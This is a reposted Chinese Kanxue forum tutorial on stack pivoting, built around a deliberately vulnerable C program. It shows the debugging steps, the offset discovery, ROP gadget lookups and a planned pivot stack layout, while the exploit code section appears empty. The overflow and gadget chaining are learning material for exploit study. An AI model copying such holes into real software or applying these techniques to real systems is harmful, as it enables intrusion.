本文为看雪论坛优秀文章
看雪论坛作者ID:winsunxs
pop <reg> <=== return pointer
<reg value>
xchg <rag>, rsp
mov rsp,rbp
pop rbp
mov rsp,rbp
pop rbp
pop rip
// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
─$ checksec --file=./vuln
[*] '/home/kali/exploits/spivot/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
└─$ ragg2 -P 200 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
┌──(kali㉿kali)-[~/exploits/spivot]
└─$ r2 -d -A vuln
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Skipping type matching analysis in debugger mode (aaft)
[x] Propagate noreturn information (aanr)
[ ] Use -AA or aaaa to perform additional experimental anal[x] Use -AA or aaaa to perform additional experimental analysis.
[0x7f93b6df79c0]> dc
Try pivoting to: 0x7ffcd3256000
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
[0x004011c5]> dr rbp
0x4169414168414167
[0x004011c5]> wopO `dr rbp`
96
──(kali㉿kali)-[~/exploits/spivot]
└─$ ROPgadget --binary vuln | grep 'pop rdi'
──(kali㉿kali)-[~/exploits/spivot]
└─$ cat /proc/sys/kernel/randomize_va_space
0
linux-vdso.so.1 (0x00007ffff7fc9000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dce000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcb000)
所以,**POP_RDI = 0x00007f85682b0000 + 0x027725**
2. pop rsi
所以,**POP_RSI = 0x00007f85682b0000 + 0x028ed9**
3. pop rsp
所以,**POP_RSP = 0x00007f85682b0000 + 0x0273aa**
### 4.3.3 规划栈布局
- **old_stack ::= |+00 buffer | +96 rbp | +104 rip | +112 x1 | +120 x2 | +128 x3 |**
new_stack ::=
| 新栈布局 |
| :---: |
| +00 POP_RDI |
| +08 0xdeadbeef |
| +16 POP_RSI |
| +24 0xdeadc0de |
| +32 winner_addr |
| ... |
| +104 POP_RSP (rip位置) |
| +112 Buffer_addr |
### 4.3.4 pwntools编写利用代码
### exploit output
看雪ID:winsunxs
https://bbs.kanxue.com/user-home-107472.htm
# 往期推荐
1、Realworld CTF 2023 ChatUWU 详解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!